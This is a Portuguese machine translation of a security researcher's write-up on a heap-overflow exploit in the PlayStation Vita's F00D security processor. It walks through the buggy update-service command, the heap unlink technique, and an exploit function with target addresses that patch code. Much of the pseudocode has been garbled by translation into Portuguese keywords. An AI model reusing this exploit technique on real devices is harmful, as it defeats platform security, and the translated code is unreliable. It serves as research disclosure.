fbpx

Sony PlayStation Vita – A primeira exploração F00D

Sony PlayStation Vita – A primeira exploração F00D

 

_Este artigo foi originalmente escrito em 11/01/2019 e publicado em 29/07/2019 para o terceiro aniversário do HENkaku, o primeiro jailbreak da Vita. Ele documenta o trabalho que fizemos no início de 2017, apenas alguns dias após a exploração seminal do “polvo”. Embora o trabalho seja datado e não abra novas portas, o conteúdo técnico pode ser interessante para um público específico. A intenção original era postar isso depois que outra pessoa descobrisse a mesma vulnerabilidade independentemente. Havia muitas dicas claras no wiki do HENkaku de que o serviço `0x50002` era incorreto, mas eu subestimei o interesse (ou habilidades) que as pessoas teriam em invadir um processador exótico que, no final das contas, não faz nada para as pessoas que querem apenas rodar cervejas caseiras ou jogar pirateadas games._

O PlayStation Vita carrega um chip personalizado com um processador de segurança executando um conjunto de instruções exótico (Toshiba MeP). Nomeamos esse processador F00D e [conversamos sobre isso] (http://teammolecule.github.io/35c3-slides/) sobre como o despejamos. No entanto, descarregar a memória privada não é suficiente. Queremos execução de código e, para isso, precisamos encontrar uma vulnerabilidade de corrupção de memória. Graças aos despejos que obtivemos do [octopus exploit] (https://teammolecule.github.io/35c3-slides/#octopus-pre) e à análise do [plugin IDA] (https://github.com/ TeamMolecule / toshiba-mep-idp), temos todas as ferramentas necessárias para aprofundar o código e procurar bugs.

## Um serviço de buggy

Muito antes do polvo, encontramos um bug no comando `0x50002` em` update_service_sm.self`. Os detalhes deste comando não são importantes, mas essencialmente ele executa a criptografia por console dos carregadores de inicialização antes de ser atualizado pelo atualizador. Para fazer isso, o comando obtém uma lista de intervalos de memória correspondentes ao buffer a ser criptografado (para os interessados, esse é o mesmo formato de lista que o discutido na exploração do polvo e é feito porque o F00D não suporta o endereçamento de memória virtual nativamente). O bug nos permitiu apontar para ponteiros na memória privada do F00D, mas não nos permite fazer nada diretamente. Em outras palavras, temos ponteiros de segundo nível em que o segundo nível pode estar na memória privada do F00D, mas não no primeiro nível. Infelizmente, não fomos a lugar algum com esse bug, pois parecia difícil de explorar. Mas isso nos deu esperança, pois havia falta de verificações de segurança dentro do F00D.

Depois de despejarmos o F00D com polvo, a primeira coisa que descriptografamos foi `update_service_sm.self` e examinamos mais detalhadamente o` 0x50002`.

## Operações em lote Bigmac

Antes de entrar nos detalhes da vulnerabilidade, é importante saber como o F00D realiza operações de criptografia. O F00D contém um acelerador de hardware de criptografia dedicado que chamamos de “bigmac”. Davee fala sobre isso [em seu post sobre um bug de hardware encontrado no bigmac] (https://www.lolhax.org/2019/01/02/extracting-keys- f00d-migalhas-guaxinim-explorar /). Uma das maneiras de usar o bigmac é uma operação em lote na qual uma lista vinculada de operações é passada. O formato desta lista vinculada é o seguinte:

typedef struct bigmac_op {
void * src_addr;
void * dst_addr;
comprimento uint32_t;
operação uint32_t; // ex: 0x2000
uint32_t número de chaves; // ex: 0x8
uint32_t iv; // ex: 0x812d40
uint32_t campo_18; // ex: 0x0
struct bigmac_op * next;
} __atributo __ ((compactado)) bigmac_op_t;

Os campos são auto-explicativos e todos os ponteiros são endereços físicos (o F00D não suporta memória virtual). É aceitável que `src_addr` e` dst_addr` sejam os mesmos.

## Comando 0x50002

O comando `0x50002` é usado pelo atualizador para criptografar os gerenciadores de inicialização com uma chave exclusiva do console. Isso serve para proteger certos tipos de ataques de downgrade nos quais o invasor pode gravar no eMMC e também no [Syscon] (https://wiki.henkaku.xyz/vita/Syscon), mas NÃO executar código de kernel ARM arbitrário. Parece um ataque artificial e provavelmente é, mas a estratégia da Sony sempre parece ser “adicione criptografia primeiro, pense depois”. No entanto, o ponto desse comando não é particularmente relevante para nós. Nós apenas nos preocupamos com o seu funcionamento.

O comando obtém uma lista (número máximo de entradas: 0x1F1) de endereço + pares de comprimento e pode operar em dois modos. No modo LV2, a lista é interpretada como ponteiros de segundo nível. Cada entrada da lista aponta para uma região de entradas LV1 (endereço + pares de comprimento). Cada entrada LV1 aponta para uma região de memória de tamanho arbitrário que deve ser criptografada. No modo LV1, a lista é entradas LV1 diretamente. A razão para ter o modo LV2 é que a Sony não deseja se limitar ao máximo de regiões “0x1F1” para criptografar em uma operação. Vamos dar uma olhada em como é o buffer de entrada do comando.


typedef struct {
void * addr;
comprimento uint32_t;
} __atributo __ ((empacotado)) region_t;

typedef struct {
uint32_t não utilizado_0 [2];
uint64_t use_lv2_mode; // se 1, use lista lv2
uint32_t não utilizado_10 [3];
uint32_t list_count; // deve ser <0x1F1
uint32_t não utilizado_20 [4];
uint32_t total_count; // usado apenas no modo LV1
uint32_t não utilizado_34 [1];
união
region_t lv1 [0x1F1];
region_t lv2 [0x1F1];
} lista;
} __atributo __ ((compactado)) cmd_0x50002_t;

No modo LV2, definimos `use_lv2_mode = 1` e` list_count` para ser o número total de entradas LV2 (máx. 0x1F1). Então cada entrada `list.lv2` apontará para uma matriz de` region_t` representando entradas LV1. total_count não está sendo usado.

No modo LV1, definimos `use_lv2_mode = 0` e` list_count` como o número total de entradas LV1 (máx. 0x1F1). Então cada entrada `list.lv1` apontará para uma região a ser criptografada. ‘total_count` é definido como o número total de entradas LV1 (máximo 0x1F1).

Espera o que?

Você notou algo estranho aqui? Se você disse “por que o número total de entradas LV1 é armazenado duas vezes”, parabéns, você encontrou o primeiro bug. Mas estamos nos adiantando. Vamos ver como esse comando funciona. Existem três partes para isso. Primeiro, os argumentos de entrada são analisados ​​e validados. Em seguida, um buffer de pilha é alocado para converter as entradas LV1 em operações bigmac AES-128-CBC. Finalmente, o bigmac é chamado no modo em lote para criptografar todas as regiões nas entradas do LV1. Aqui está o pseudocódigo da primeira parte:

 

int get_entries (cmd_0x50002_t * args, uint32_t * p_size) {
if (args-> list_count> = 0x1F1) {
retornar 0x800F0216;
}
if (args-> use_lv2_mode == 1) {
* tamanho_p = 0;
for (uint32_t i = 0; i <args-> número_da_lista; i ++) {
* p_size + = (args-> list.lv2 [i] .length) / sizeof (region_t);
// NOTA: p_size wraparound NÃO está marcado, mas esse caminho de exploração é mais difícil
}
} mais {
* p_size = args-> total_count;
}
retornar 0;
}

int handle_0x50002 (cmd_0x50002_t * args) {
int ret;
entradas uint32_t;
char * buf, buf_alinhado;
bigmac_op_t * lote;

if ((ret = get_entries (argumentos, & entradas))! = 0) {
return ret;
}

// sizeof (bigmac_op_t) == 32
if ((buf = malloc ((entradas * sizeof (bigmac_op_t)) + 31)) == NULL) {
retornar 0x800F020C;
}
// NOTA: o argumento do tamanho do malloc também pode envolver

buf_alinhado = (buf + 31) & ~ 31;
lote = (bigmac_op_t *) buf_alinhado;
if ((ret = create_batch (args, g_iv, lote, entradas))! = 0) {
foi feito;
}

if ((ret = run_bigmac_batch (lote, entradas))! = 0) {
foi feito;
}

feito:
livre (buf);
return ret;
}

Então, já temos dois bugs. Em `get_entries`, no modo LV2,` * p_size` pode envolver e, em `handle_0x50002`, o argumento do malloc também pode envolver. Passamos um dia tentando explorar isso, mas acontece que há um caminho muito mais fácil. Vejamos a segunda parte, `create_batch`:


int init_bigmac_batch (bigmac_op_t * lote, entradas uint32_t, máscara int, intervalo de chaves int, const void * iv) {
if (entradas == 0 || (lote 31)! = 0) {
retornar 0x800F0016;
}

for (uint32_t i = 0; i <entradas; i ++) {
lote [i] .operação = máscara;
lote [i] .keyslot = lote de chaves;
lote [i] .iv = iv;
lote [i] .field_18 = 0;
lote [i] .next = & lote [i + 1];
}

lote [entradas-1] .next = 0xFFFFFFFF; // indica final

retornar 0;
}

int create_batch (cmd_0x50002_t * args, const void * iv, bigmac_op_t * batch, entradas uint32_t) {
int ret;

if (args == NULL || lote == NULL || entradas == 0) {
retornar 0x800F0216;
}

if ((ret = init_bigmac_batch (lote, entradas, 0x2000, 0x8, iv))! = 0) {
return ret;
}

if (args-> list_count> = 0x1F1) {
retornar 0x800F0216;
}

if (args-> use_lv2_mode == 1) {
uint32_t k = 0;
for (uint32_t i = 0; i <args-> número_da_lista; i ++) {
region_t * lv1 = (region_t *) args-> list.lv2 [i] .addr;
// Sidenote: `lv1` não está sendo verificado na lista de desbloqueio é o primeiro bug que
// encontrado como descrito na introdução. Não fomos capazes de explorar isso.

for (uint32_t j = 0; j <args-> list.lv2 [i]. comprimento / tamanho da (região_t); j ++) {
lote [k] .src_addr = lv1 [i] .addr;
lote [k] .dst_addr = lv1 [i] .addr;
lote [k] .length = lv1 [i] .length;
k ++;
if (! is_region_whitelisted (lv1 [i])) {
retornar 0x800F0216;
}
}
}
} else {// somente modo LV1
for (uint32_t i = 0; i <número da lista>; i ++) {// O QUE SIGNIFICA args-> total_count?
lote [i] .src_addr = args-> list.lv1 [i] .addr;
lote [i] .dst_addr = args-> list.lv1 [i] .addr;
lote [i] .length = args-> list.lv1 [i] .length;
if (! is_region_whitelisted (args-> list.lv1 [i])) {
// Nota: Na verdade, falhamos na verificação da lista de permissões ao explorar o
// estouro de pilha. No entanto, tudo bem, pois o lote [i] é escrito ANTES
// a verificação da lista branca e o `free` sempre são chamados.
retornar 0x800F0216;
}
}
}

retornar 0;
}

O caminho mais fácil, como sugerido anteriormente, é que `args-> total_count` nunca é usado em` create_batch`. Vamos olhar para o que isso significa. Em `handle_0x50002`, nós` malloc` um buffer de tamanho `entradas * sizeof (bigmac_op_t)) + 31`. `entradas` é retornado de` get_entries`, que no modo LV1 é apenas `args-> total_count`. No entanto, em `create_batch`, usamos` args-> list_count` como o iterador para gravar em cada entrada. Isso significa que, enquanto `args-> list_count> args-> total_count`, temos um estouro de pilha! Agora vamos ver como exploramos isso.

F00D heap

 

O serviço de atualização usa uma estrutura de heap muito simples. Cada bloco de heap contém um cabeçalho de 24 bytes e faz parte de uma lista duplamente vinculada. Não existe um algoritmo de alocação sofisticado. Existem apenas duas listas globais: usadas e gratuitas. Os blocos são divididos em malloc e coalescidos em free (se houver blocos livres adjacentes). Os blocos são movidos de uma lista para outra para malloc e gratuitos e são sempre classificados em ordem de endereço. É assim que o cabeçalho se parece:


typedef struct heap_hdr {
dados * nulos; // aponte para depois de `next`
tamanho uint32_t;
uint32_t size_aligned;
preenchimento uint32_t;
struct heap_hdr * anterior;
struct heap_hdr * próximo;
} __atributo __ ((empacotado)) heap_hdr_t;

Quando o applet é iniciado pela primeira vez, um buffer de byte `0x4000` é reservado para ser usado no heap. A lista usada e a lista livre estão vazias.

! [Layout da memória] (https://yifan.lu/images/2019/01/heap-1.svg)

Digamos que façamos uma chamada de comando “0x50002” no modo somente LV1 e “args-> total_count = 2″. Isso resultará em um `malloc (2 * 32 + 31)`. Como a lista vazia é gratuita, obtemos uma grande parte do buffer inicial.

! [Alocação de bloco] (https://yifan.lu/images/2019/01/heap-2.svg)

Agora dividimos esse pedaço em duas partes: o bloco que o alocador de heap retorna e um bloco livre que é adicionado à lista livre. Um cabeçalho de 24 bytes é adicionado aos dois blocos para manter o controle dos metadados do bloco.

! [Alocação de heap] (https://yifan.lu/images/2019/01/heap-3.svg)

Ampliamos esses blocos para ver como eles são dispostos. Observe que temos espaço suficiente para dois `bigmac_op_t`, bem como algum espaço extra reservado pelo alinhamento.

! [Bloco de pilha antes do estouro] (https://yifan.lu/images/2019/01/heap-4.svg)

Agora, vamos supor que definimos `args-> list_count = 4` para disparar um estouro de heap. Como `args-> total_count = 2`, começaremos a sobrescrever parte desse preenchimento extra e, eventualmente, atingiremos o bloco livre adjacente e começaremos a sobrescrever o cabeçalho do bloco. Novamente, isso ocorre porque o `create_batch` usa o args-> list_count` ao gravar no buffer, enquanto o` handle_0x50002` usa o `args-> total_count` para alocar o buffer.

! [Bloco de pilha após estouro] (https://yifan.lu/images/2019/01/heap-5.svg)

No diagrama acima, os contornos pontilhados representam os dois blocos extras de gravação `create_batch`. O terceiro bloco não é muito interessante porque substitui principalmente o espaço de preenchimento e alguns dos metadados do bloco livre. O quarto bloco de estouro é o que usaremos para explorar o applet. Observe como `batch [3] .length` substitui o ponteiro` prev` e `batch [3] .operation` substitui o ponteiro` next`. Nós controlamos completamente o lote [3] .length` porque é proveniente de `args-> list.lv1 [3] .length` e controlamos parcialmente o` lote [3] .operation` porque é sempre definido como `0x2000`.

Agora que controlamos esses dois ponteiros, vamos mudar nosso foco para “ livre ”, que tentará unir esses dois blocos depois de liberar o bloco usado, porque eles serão blocos livres adjacentes. Existe um código semelhante ao seguinte:

vazio (void * buf) {

heap_hdr_t * cur, adjacente;

cur = (heap_hdr_t *) cur;
adjacente = (heap_hdr_t *) (buf + cur-> tamanho_alinhado);

// remover da lista usada
list_unlink (g_heap_used, cur);

if (is_in_list (g_heap_free, adjacente)) {
// remover adjacente da lista
adjacente-> anterior-> próximo = adjacente-> próximo;
adjacente-> próximo-> anterior = adjacente-> anterior;
// coalescer
cur-> tamanho_alinhado + = adjacente-> tamanho_alinhado + sizeof (heap_hdr_t);
cur-> tamanho = cur-> tamanho_alinhado;
// adicionar à lista grátis
list_link (g_heap_free, cur);
}

}

Se focarmos na linha `adjacente-> prev-> próximo = adjacente-> próximo`, podemos ver que isso é equivalente a` * (uint32_t *) lote [3] .size = lote [3] .operação` devido a o estouro da pilha. Como explicado acima, controlamos esses dois campos para que, com efeito, ele se torne `* (uint32_t *) args-> list.lv1 [3] .length = 0x2000`.

Neste ponto, deve-se notar que os processadores Toshiba MeP possuem dois recursos (ou falta de) que tornam nossa vida muito mais fácil. Primeiro, um acesso inválido à memória será ignorado. Isso significa que, quando executamos a próxima linha `adjacente-> próxima-> prev = adjacente-> anterior` e notamos que` adjacente-> próxima-> anterior` é um ponteiro inválido, ainda estamos bem. Segundo, não há proteção de memória, para que possamos gravar diretamente na memória executável sem problemas. Com isso em mente, podemos obter a execução de código como estamos vivendo em 1990.

## Exploração

Usando o estouro de heap, podemos desenvolver uma primitiva para corromper a memória arbitrária do F00D do ARM, escrevendo `0x2000`.


int corrompido (int ctx, uint32_t addr) {
int ret = 0, sm_ret = 0;
cmd_0x50002_t args = {0};

// constrói os argumentos
args.use_lv2_mode = 0;
args.list_count = 3;
args.total_count = 1;
// usamos 4 blocos no exemplo para ilustrar como as coisas funcionam
// mas na verdade 3 blocos são suficientes para acionar a vulnerabilidade

// duas primeiras entradas válidas para passar nas verificações da lista de permissões
// fazemos valores válidos arbitrários
args.list.lv1 [0] .addr = 0x50000000;
args.list.lv1 [0]. comprimento = 0x10;
args.list.lv1 [1] .addr = 0x50000000;
args.list.lv1 [1] .length = 0x10;
// aqui está nossa entrada de estouro, que falha nas verificações, mas não importa
// porque o cabeçalho do bloco livre é substituído e livre é chamado
// mesmo quando há um erro, já que esta é a última entrada
args.list.lv1 [2] .addr = 0;
args.list.lv1 [2] .length = addr – offsetof (heap_hdr_t, próximo);

ret = sceSblSmCommCallFunc (ctx, 0x50002, & sm_ret, & args, sizeof (args));
if (sm_ret <0) {
return sm_ret;
}
return ret;
}

`0x2000` na montagem MeP se torna` bsetm ($ 0), 0x0`, o que faz a configuração de bits. No entanto, isso não é importante porque podemos tratá-lo efetivamente como um NOP e substituir instruções arbitrárias por esta para ignorar as verificações. Em seguida, “escrevemos” nosso próprio memcpy, pegando um manipulador de comandos existente no applet e copiando as instruções até que ele funcionasse como um memcpy.


// deslocamentos para 1.692, substitui cmd 0x60002
corrompido (ctx, 0x0080B904);
corrompido (ctx, 0x0080B938);
corrompido (ctx, 0x0080B948);
corrompido (ctx, 0x0080B94C);
corrompido (ctx, 0x0080B950);
corrompido (ctx, 0x0080B958);
corrompido (ctx, 0x0080B95C);
corrompido (ctx, 0x0080B914);
corrompido (ctx, 0x0080B918);

Por fim, precisamos acionar uma descarga do icache chamando algum comando aleatório (fazendo com que ele busque novas instruções e despeje entradas de cache antigas). Então podemos `memcpy` nosso código F00D e executá-lo! No geral, essa era uma vulnerabilidade simples e não havia mitigação de exploração. No entanto, teria sido muito mais difícil encontrar essa vulnerabilidade e explorá-la às cegas. A maior parte da segurança do F00D vem do fato de ter uma pequena superfície de ataque, além do fato de que a interface e o software são todos proprietários. Porém, quando você olha o código, atacá-lo se torna muito menos intimidador.

 

28 de outubro de 2019

Sobre nós

A Linux Force Brasil é uma empresa que ama a arte de ensinar. Nossa missão é criar talentos para a área de tecnologia e atender com excelência nossos clientes.

CNPJ: 13.299.207/0001-50
SAC:         0800 721 7901

[email protected]

Comercial  Comercial: (11) 3796-5900

Suporte:    (11) 3796-5900
[email protected]

Copyright © Linux Force Security  - Desde 2011.